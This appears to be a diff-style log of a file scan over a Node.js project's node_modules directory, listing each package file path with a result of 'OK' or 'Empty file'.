+/scan/node_modules/magic-string/dist/magic-string.cjs.d.ts: OK
+/scan/node_modules/magic-string/dist/magic-string.cjs.js.map: OK
+/scan/node_modules/magic-string/dist/magic-string.es.d.mts: OK
+/scan/node_modules/magic-string/dist/magic-string.es.mjs.map: OK
+/scan/node_modules/magic-string/README.md: OK
+/scan/node_modules/magic-string/package.json: OK
+/scan/node_modules/array-flatten/LICENSE: OK
+/scan/node_modules/array-flatten/README.md: OK
+/scan/node_modules/array-flatten/package.json: OK
+/scan/node_modules/array-flatten/array-flatten.js: OK
+/scan/node_modules/socket.io-adapter/LICENSE: OK
+/scan/node_modules/socket.io-adapter/dist/cluster-adapter.js: OK
+/scan/node_modules/socket.io-adapter/dist/in-memory-adapter.js: OK
+/scan/node_modules/socket.io-adapter/dist/index.js: OK
+/scan/node_modules/socket.io-adapter/dist/in-memory-adapter.d.ts: OK
+/scan/node_modules/socket.io-adapter/dist/contrib/yeast.d.ts: OK
+/scan/node_modules/socket.io-adapter/dist/contrib/yeast.js: OK
+/scan/node_modules/socket.io-adapter/dist/cluster-adapter.d.ts: OK
+/scan/node_modules/socket.io-adapter/dist/index.d.ts: OK
+/scan/node_modules/socket.io-adapter/Readme.md: OK
+/scan/node_modules/socket.io-adapter/package.json: OK
+/scan/node_modules/argparse/LICENSE: OK
+/scan/node_modules/argparse/CHANGELOG.md: OK
+/scan/node_modules/argparse/README.md: OK
+/scan/node_modules/argparse/package.json: OK
+/scan/node_modules/argparse/lib/textwrap.js: OK
+/scan/node_modules/argparse/lib/sub.js: OK
+/scan/node_modules/argparse/argparse.js: OK
+/scan/node_modules/media-engine/test/queries.test.js: OK
+/scan/node_modules/media-engine/jest.config.js: OK
+/scan/node_modules/media-engine/README.md: OK
+/scan/node_modules/media-engine/package.json: OK
+/scan/node_modules/media-engine/.prettierrc: OK
+/scan/node_modules/media-engine/.travis.yml: OK
+/scan/node_modules/media-engine/src/index.js: OK
+/scan/node_modules/media-engine/src/operators.js: OK
+/scan/node_modules/media-engine/src/parser.js: OK
+/scan/node_modules/media-engine/src/queries.js: OK
+/scan/node_modules/tsconfig/LICENSE: OK
+/scan/node_modules/tsconfig/dist/tsconfig.spec.js.map: OK
+/scan/node_modules/tsconfig/dist/tsconfig.js: OK
+/scan/node_modules/tsconfig/dist/tsconfig.spec.js: OK
+/scan/node_modules/tsconfig/dist/tsconfig.js.map: OK
+/scan/node_modules/tsconfig/dist/tsconfig.d.ts: OK
+/scan/node_modules/tsconfig/dist/tsconfig.spec.d.ts: Empty file
+/scan/node_modules/tsconfig/node_modules/strip-json-comments/license: OK
+/scan/node_modules/tsconfig/node_modules/strip-json-comments/index.js: OK
+/scan/node_modules/tsconfig/node_modules/strip-json-comments/readme.md: OK
+/scan/node_modules/tsconfig/node_modules/strip-json-comments/package.json: OK
+/scan/node_modules/tsconfig/README.md: OK
+/scan/node_modules/tsconfig/package.json: OK
+/scan/node_modules/picomatch/LICENSE: OK
+/scan/node_modules/picomatch/index.js: OK
+/scan/node_modules/picomatch/README.md: OK
+/scan/node_modules/picomatch/package.json: OK
+/scan/node_modules/picomatch/lib/constants.js: OK
+/scan/node_modules/picomatch/lib/parse.js: OK
+/scan/node_modules/picomatch/lib/picomatch.js: OK
+/scan/node_modules/picomatch/lib/utils.js: OK
+/scan/node_modules/picomatch/lib/scan.js: OK
+/scan/node_modules/safe-buffer/LICENSE: OK
+/scan/node_modules/safe-buffer/index.js: OK
+/scan/node_modules/safe-buffer/README.md: OK
+/scan/node_modules/safe-buffer/package.json: OK
+/scan/node_modules/safe-buffer/index.d.ts: OK
+/scan/node_modules/fast-xml-parser/LICENSE: OK
+/scan/node_modules/fast-xml-parser/CHANGELOG.md: OK
+/scan/node_modules/fast-xml-parser/README.md: OK
+/scan/node_modules/fast-xml-parser/package.json: OK
+/scan/node_modules/fast-xml-parser/lib/fxbuilder.min.js: OK
+/scan/node_modules/fast-xml-parser/lib/fxp.min.js: OK
+/scan/node_modules/fast-xml-parser/lib/fxp.d.cts: OK
+/scan/node_modules/fast-xml-parser/lib/fxp.cjs: OK
+/scan/node_modules/fast-xml-parser/lib/fxbuilder.min.js.map: OK
+/scan/node_modules/fast-xml-parser/lib/fxparser.min.js: OK
+/scan/node_modules/fast-xml-parser/lib/fxvalidator.min.js.map: OK
+/scan/node_modules/fast-xml-parser/lib/fxvalidator.min.js: OK
+/scan/node_modules/fast-xml-parser/lib/fxparser.min.js.map: OK
+/scan/node_modules/fast-xml-parser/lib/fxp.min.js.map: OK
+/scan/node_modules/fast-xml-parser/src/v6/Xml2JsParser.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/CharsSymbol.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/OptionsBuilder.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/TagPathMatcher.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsMinArrBuilder.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsArrBuilder.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/OutputBuilders/JsObjBuilder.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/OutputBuilders/BaseOutputBuilder.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/OutputBuilders/ParserOptionsBuilder.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/TagPath.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/valueParsers/number.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/valueParsers/join.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/valueParsers/trim.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/valueParsers/booleanParser.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/valueParsers/currency.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/valueParsers/booleanParserExt.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/valueParsers/EntitiesParser.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/XMLParser.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/XmlSpecialTagsReader.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/inputSource/BufferSource.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/inputSource/StringSource.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/Report.js: Empty file
+/scan/node_modules/fast-xml-parser/src/v6/EntitiesParser.js: OK
+/scan/node_modules/fast-xml-parser/src/v6/XmlPartReader.js: OK
+/scan/node_modules/fast-xml-parser/src/util.js: OK
+/scan/node_modules/fast-xml-parser/src/fxp.d.ts: OK
+/scan/node_modules/fast-xml-parser/src/fxp.js: OK
+/scan/node_modules/fast-xml-parser/src/xmlbuilder/json2xml.js: OK
+/scan/node_modules/fast-xml-parser/src/validator.js: OK
+/scan/node_modules/fast-xml-parser/src/cli/man.js: OK
+/scan/node_modules/fast-xml-parser/src/cli/read.js: OK
+/scan/node_modules/fast-xml-parser/src/cli/cli.js: OK
+/scan/node_modules/fast-xml-parser/src/ignoreAttributes.js: OK
+/scan/node_modules/fast-xml-parser/src/xmlparser/xmlNode.js: OK
+/scan/node_modules/fast-xml-parser/src/xmlparser/OptionsBuilder.js: OK
+/scan/node_modules/fast-xml-parser/src/xmlparser/DocTypeReader.js: OK
+/scan/node_modules/fast-xml-parser/src/xmlparser/XMLParser.js: OK
+/scan/node_modules/fast-xml-parser/src/xmlparser/node2json.js: OK
+/scan/node_modules/fast-xml-parser/src/xmlparser/OrderedObjParser.js: OK
+/scan/node_modules/@ioredis/commands/LICENSE: OK
+/scan/node_modules/@ioredis/commands/built/index.js: OK
+/scan/node_modules/@ioredis/commands/built/commands.json: OK
+/scan/node_modules/@ioredis/commands/built/index.d.ts: OK
+/scan/node_modules/@ioredis/commands/README.md: OK
+/scan/node_modules/@ioredis/commands/package.json: OK
+/scan/node_modules/d3-timer/LICENSE: OK
+/scan/node_modules/d3-timer/dist/d3-timer.js: OK
+/scan/node_modules/d3-timer/dist/d3-timer.min.js: OK
+/scan/node_modules/d3-timer/README.md: OK
+/scan/node_modules/d3-timer/package.json: OK
+/scan/node_modules/d3-timer/src/timer.js: OK
+/scan/node_modules/d3-timer/src/timeout.js: OK
+/scan/node_modules/d3-timer/src/interval.js: OK
+/scan/node_modules/d3-timer/src/index.js: OK
+/scan/node_modules/function-bind/LICENSE: OK
+/scan/node_modules/function-bind/test/.eslintrc: OK
+/scan/node_modules/function-bind/test/index.js: OK
+/scan/node_modules/function-bind/CHANGELOG.md: OK
+/scan/node_modules/function-bind/.eslintrc: OK
+/scan/node_modules/function-bind/index.js: OK
+/scan/node_modules/function-bind/README.md: OK
+/scan/node_modules/function-bind/package.json: OK
+/scan/node_modules/function-bind/.github/FUNDING.yml: OK
+/scan/node_modules/function-bind/.github/SECURITY.md: OK
+/scan/node_modules/function-bind/.nycrc: OK
+/scan/node_modules/function-bind/implementation.js: OK
+/scan/node_modules/is-glob/LICENSE: OK
+/scan/node_modules/is-glob/index.js: OK
+/scan/node_modules/is-glob/README.md: OK
+/scan/node_modules/is-glob/package.json: OK
+/scan/node_modules/npm-run-path/license: OK
+/scan/node_modules/npm-run-path/node_modules/path-key/license: OK
+/scan/node_modules/npm-run-path/node_modules/path-key/index.js: OK
+/scan/node_modules/npm-run-path/node_modules/path-key/readme.md: OK
+/scan/node_modules/npm-run-path/node_modules/path-key/package.json: OK
+/scan/node_modules/npm-run-path/node_modules/path-key/index.d.ts: OK
+/scan/node_modules/npm-run-path/index.js: OK
+/scan/node_modules/npm-run-path/readme.md: OK
+/scan/node_modules/npm-run-path/package.json: OK
+/scan/node_modules/npm-run-path/index.d.ts: OK
+/scan/node_modules/engine.io-client/LICENSE: OK
+/scan/node_modules/engine.io-client/dist/engine.io.min.js: OK
+/scan/node_modules/engine.io-client/dist/engine.io.esm.min.js.map: OK
+/scan/node_modules/engine.io-client/dist/engine.io.min.js.map: OK
+/scan/node_modules/engine.io-client/dist/engine.io.js.map: OK
+/scan/node_modules/engine.io-client/dist/engine.io.js: OK
+/scan/node_modules/engine.io-client/dist/engine.io.esm.min.js: OK
+/scan/node_modules/engine.io-client/README.md: OK
+/scan/node_modules/engine.io-client/package.json: OK
+/scan/node_modules/engine.io-client/build/esm-debug/globals.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/globals.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/util.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/browser-entrypoint.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/socket.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/websocket.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/webtransport.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/polling.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/polling-xhr.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/websocket.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/webtransport.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/websocket.node.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/index.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/polling-xhr.node.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/polling.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/polling-xhr.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/websocket.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/polling-xhr.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/polling-fetch.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/index.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transports/polling-fetch.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/globals.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transport.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/index.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/contrib/has-cors.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/contrib/parseqs.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/contrib/has-cors.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/contrib/parseuri.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/contrib/parseqs.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/contrib/parseuri.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/browser-entrypoint.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/socket.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/package.json: OK
+/scan/node_modules/engine.io-client/build/esm-debug/transport.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/util.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm-debug/globals.node.js: OK
+/scan/node_modules/engine.io-client/build/esm-debug/index.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/globals.js: OK
+/scan/node_modules/engine.io-client/build/esm/globals.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/util.js: OK
+/scan/node_modules/engine.io-client/build/esm/browser-entrypoint.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/socket.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/websocket.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/webtransport.js: OK
+/scan/node_modules/engine.io-client/build/esm/transports/polling.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/polling-xhr.js: OK
+/scan/node_modules/engine.io-client/build/esm/transports/websocket.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/webtransport.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/websocket.node.js: OK
+/scan/node_modules/engine.io-client/build/esm/transports/index.js: OK
+/scan/node_modules/engine.io-client/build/esm/transports/polling-xhr.node.js: OK
+/scan/node_modules/engine.io-client/build/esm/transports/polling.js: OK
+/scan/node_modules/engine.io-client/build/esm/transports/polling-xhr.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/websocket.js: OK
+/scan/node_modules/engine.io-client/build/esm/transports/polling-xhr.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/polling-fetch.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/index.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transports/polling-fetch.js: OK
+/scan/node_modules/engine.io-client/build/esm/globals.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/transport.js: OK
+/scan/node_modules/engine.io-client/build/esm/index.js: OK
+/scan/node_modules/engine.io-client/build/esm/contrib/has-cors.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/contrib/parseqs.js: OK
+/scan/node_modules/engine.io-client/build/esm/contrib/has-cors.js: OK
+/scan/node_modules/engine.io-client/build/esm/contrib/parseuri.js: OK
+/scan/node_modules/engine.io-client/build/esm/contrib/parseqs.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/contrib/parseuri.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/browser-entrypoint.js: OK
+/scan/node_modules/engine.io-client/build/esm/socket.js: OK
+/scan/node_modules/engine.io-client/build/esm/package.json: OK
+/scan/node_modules/engine.io-client/build/esm/transport.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/util.d.ts: OK
+/scan/node_modules/engine.io-client/build/esm/globals.node.js: OK
+/scan/node_modules/engine.io-client/build/esm/index.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/globals.js: OK
+/scan/node_modules/engine.io-client/build/cjs/globals.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/util.js: OK
+/scan/node_modules/engine.io-client/build/cjs/browser-entrypoint.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/socket.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/websocket.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/webtransport.js: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/polling.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/polling-xhr.js: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/websocket.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/webtransport.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/websocket.node.js: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/index.js: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/polling-xhr.node.js: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/polling.js: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/polling-xhr.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/websocket.js: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/polling-xhr.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/polling-fetch.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/index.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transports/polling-fetch.js: OK
+/scan/node_modules/engine.io-client/build/cjs/globals.node.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/transport.js: OK
+/scan/node_modules/engine.io-client/build/cjs/index.js: OK
+/scan/node_modules/engine.io-client/build/cjs/contrib/has-cors.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/contrib/parseqs.js: OK
+/scan/node_modules/engine.io-client/build/cjs/contrib/has-cors.js: OK
+/scan/node_modules/engine.io-client/build/cjs/contrib/parseuri.js: OK
+/scan/node_modules/engine.io-client/build/cjs/contrib/parseqs.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/contrib/parseuri.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/browser-entrypoint.js: OK
+/scan/node_modules/engine.io-client/build/cjs/socket.js: OK
+/scan/node_modules/engine.io-client/build/cjs/package.json: OK
+/scan/node_modules/engine.io-client/build/cjs/transport.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/util.d.ts: OK
+/scan/node_modules/engine.io-client/build/cjs/globals.node.js: OK
+/scan/node_modules/engine.io-client/build/cjs/index.d.ts: OK
+/scan/node_modules/source-map-support/LICENSE.md: OK
+/scan/node_modules/source-map-support/browser-source-map-support.js: OK
+/scan/node_modules/source-map-support/source-map-support.js: OK
+/scan/node_modules/source-map-support/register-hook-require.js: OK
+/scan/node_modules/source-map-support/register.js: OK
+/scan/node_modules/source-map-support/README.md: OK
+/scan/node_modules/source-map-support/package.json: OK
+/scan/node_modules/ee-first/LICENSE: OK
+/scan/node_modules/ee-first/index.js: OK
+/scan/node_modules/ee-first/README.md: OK
+/scan/node_modules/ee-first/package.json: OK
+/scan/node_modules/is-fullwidth-code-point/license: OK
+/scan/node_modules/is-fullwidth-code-point/index.js: OK
+/scan/node_modules/is-fullwidth-code-point/readme.md: OK
+/scan/node_modules/is-fullwidth-code-point/package.json: OK
+/scan/node_modules/is-fullwidth-code-point/index.d.ts: OK
+/scan/node_modules/tiny-inflate/LICENSE: OK
+/scan/node_modules/tiny-inflate/test/index.js: OK
+/scan/node_modules/tiny-inflate/test/lorem.txt: OK
+/scan/node_modules/tiny-inflate/index.js: OK
+/scan/node_modules/tiny-inflate/readme.md: OK
+/scan/node_modules/tiny-inflate/package.json: OK
+/scan/node_modules/typescript/bin/tsserver: OK
+/scan/node_modules/typescript/bin/tsc: OK
+/scan/node_modules/typescript/README.md: OK
+/scan/node_modules/typescript/package.json: OK
+/scan/node_modules/typescript/lib/lib.es2019.object.d.ts: OK
+/scan/node_modules/typescript/lib/lib.dom.iterable.d.ts: OK
+/scan/node_modules/typescript/lib/typesMap.json: OK
+/scan/node_modules/typescript/lib/lib.es2018.full.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.collection.d.ts: OK
+/scan/node_modules/typescript/lib/tsserverlibrary.js: OK
+/scan/node_modules/typescript/lib/lib.es2015.reflect.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2019.string.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2017.date.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2021.intl.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2016.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.core.d.ts: OK
+/scan/node_modules/typescript/lib/lib.dom.asynciterable.d.ts: OK
+/scan/node_modules/typescript/lib/pl/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.es2019.intl.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2022.string.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.full.d.ts: OK
+/scan/node_modules/typescript/lib/typescript.js: OK
+/scan/node_modules/typescript/lib/lib.es2022.object.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.iterator.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.proxy.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.generator.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.promise.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2021.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.disposable.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.number.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2017.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2018.promise.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2017.typedarrays.d.ts: OK
+/scan/node_modules/typescript/lib/lib.scripthost.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2022.array.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.decorators.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2024.arraybuffer.d.ts: OK
+/scan/node_modules/typescript/lib/_tsc.js: OK
+/scan/node_modules/typescript/lib/lib.es2019.full.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.intl.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2024.collection.d.ts: OK
+/scan/node_modules/typescript/lib/ja/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.decorators.legacy.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.promise.d.ts: OK
+/scan/node_modules/typescript/lib/_tsserver.js: OK
+/scan/node_modules/typescript/lib/lib.es2018.intl.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.symbol.wellknown.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2024.object.d.ts: OK
+/scan/node_modules/typescript/lib/it/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.es2024.promise.d.ts: OK
+/scan/node_modules/typescript/lib/cs/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.es2021.full.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2024.string.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.iterable.d.ts: OK
+/scan/node_modules/typescript/lib/ru/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.es2018.regexp.d.ts: OK
+/scan/node_modules/typescript/lib/lib.decorators.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2021.string.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2018.asynciterable.d.ts: OK
+/scan/node_modules/typescript/lib/tsserver.js: OK
+/scan/node_modules/typescript/lib/lib.es6.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.sharedmemory.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2023.collection.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2022.error.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2016.array.include.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.intl.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es5.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.d.ts: OK
+/scan/node_modules/typescript/lib/zh-cn/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.es2023.intl.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.float16.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2019.array.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2024.d.ts: OK
+/scan/node_modules/typescript/lib/tsc.js: OK
+/scan/node_modules/typescript/lib/lib.es2016.intl.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2024.regexp.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.date.d.ts: OK
+/scan/node_modules/typescript/lib/lib.webworker.asynciterable.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2022.full.d.ts: OK
+/scan/node_modules/typescript/lib/_typingsInstaller.js: OK
+/scan/node_modules/typescript/lib/lib.es2017.full.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.promise.d.ts: OK
+/scan/node_modules/typescript/lib/lib.dom.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2023.array.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2024.sharedmemory.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.symbol.wellknown.d.ts: OK
+/scan/node_modules/typescript/lib/lib.webworker.iterable.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.bigint.d.ts: OK
+/scan/node_modules/typescript/lib/zh-tw/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.es2020.sharedmemory.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2021.promise.d.ts: OK
+/scan/node_modules/typescript/lib/pt-br/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.esnext.error.d.ts: OK
+/scan/node_modules/typescript/lib/de/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.es2024.full.d.ts: OK
+/scan/node_modules/typescript/lib/ko/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.es2022.intl.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2022.regexp.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2017.sharedmemory.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2017.intl.d.ts: OK
+/scan/node_modules/typescript/lib/fr/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.webworker.d.ts: OK
+/scan/node_modules/typescript/lib/es/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/tsserverlibrary.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2019.symbol.d.ts: OK
+/scan/node_modules/typescript/lib/lib.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2018.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.full.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2020.string.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2023.full.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2018.asyncgenerator.d.ts: OK
+/scan/node_modules/typescript/lib/typingsInstaller.js: OK
+/scan/node_modules/typescript/lib/lib.es2022.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2021.weakref.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2016.full.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2017.object.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2023.d.ts: OK
+/scan/node_modules/typescript/lib/watchGuard.js: OK
+/scan/node_modules/typescript/lib/typescript.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2017.string.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2019.d.ts: OK
+/scan/node_modules/typescript/lib/tr/diagnosticMessages.generated.json: OK
+/scan/node_modules/typescript/lib/lib.webworker.importscripts.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.symbol.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2017.arraybuffer.d.ts: OK
+/scan/node_modules/typescript/lib/lib.esnext.array.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.collection.d.ts: OK
+/scan/node_modules/typescript/lib/lib.es2015.d.ts: OK
+/scan/node_modules/typescript/LICENSE.txt: OK
+/scan/node_modules/typescript/ThirdPartyNoticeText.txt: OK
+/scan/node_modules/typescript/SECURITY.md: OK
+/scan/node_modules/flat-cache/LICENSE: OK
+/scan/node_modules/flat-cache/changelog.md: OK
+/scan/node_modules/flat-cache/README.md: OK
+/scan/node_modules/flat-cache/package.json: OK
+/scan/node_modules/flat-cache/src/cache.js: OK
+/scan/node_modules/flat-cache/src/del.js: OK
+/scan/node_modules/flat-cache/src/utils.js: OK
+/scan/node_modules/yargs-parser/CHANGELOG.md: OK
+/scan/node_modules/yargs-parser/README.md: OK
+/scan/node_modules/yargs-parser/package.json: OK
+/scan/node_modules/yargs-parser/build/index.cjs: OK
+/scan/node_modules/yargs-parser/build/lib/string-utils.js: OK
+/scan/node_modules/yargs-parser/build/lib/tokenize-arg-string.js: OK
+/scan/node_modules/yargs-parser/build/lib/index.js: OK
+/scan/node_modules/yargs-parser/build/lib/yargs-parser.js: OK
+/scan/node_modules/yargs-parser/build/lib/yargs-parser-types.js: OK
+/scan/node_modules/yargs-parser/LICENSE.txt: OK
+/scan/node_modules/yargs-parser/browser.js: OK
+/scan/node_modules/baseline-browser-mapping/dist/index.js: OK
+/scan/node_modules/baseline-browser-mapping/dist/index.cjs: OK
+/scan/node_modules/baseline-browser-mapping/dist/index.d.ts: OK
+/scan/node_modules/baseline-browser-mapping/dist/cli.cjs: OK
+/scan/node_modules/baseline-browser-mapping/README.md: OK
+/scan/node_modules/baseline-browser-mapping/package.json: OK
+/scan/node_modules/baseline-browser-mapping/LICENSE.txt: OK
+/scan/node_modules/xmlbuilder/LICENSE: OK
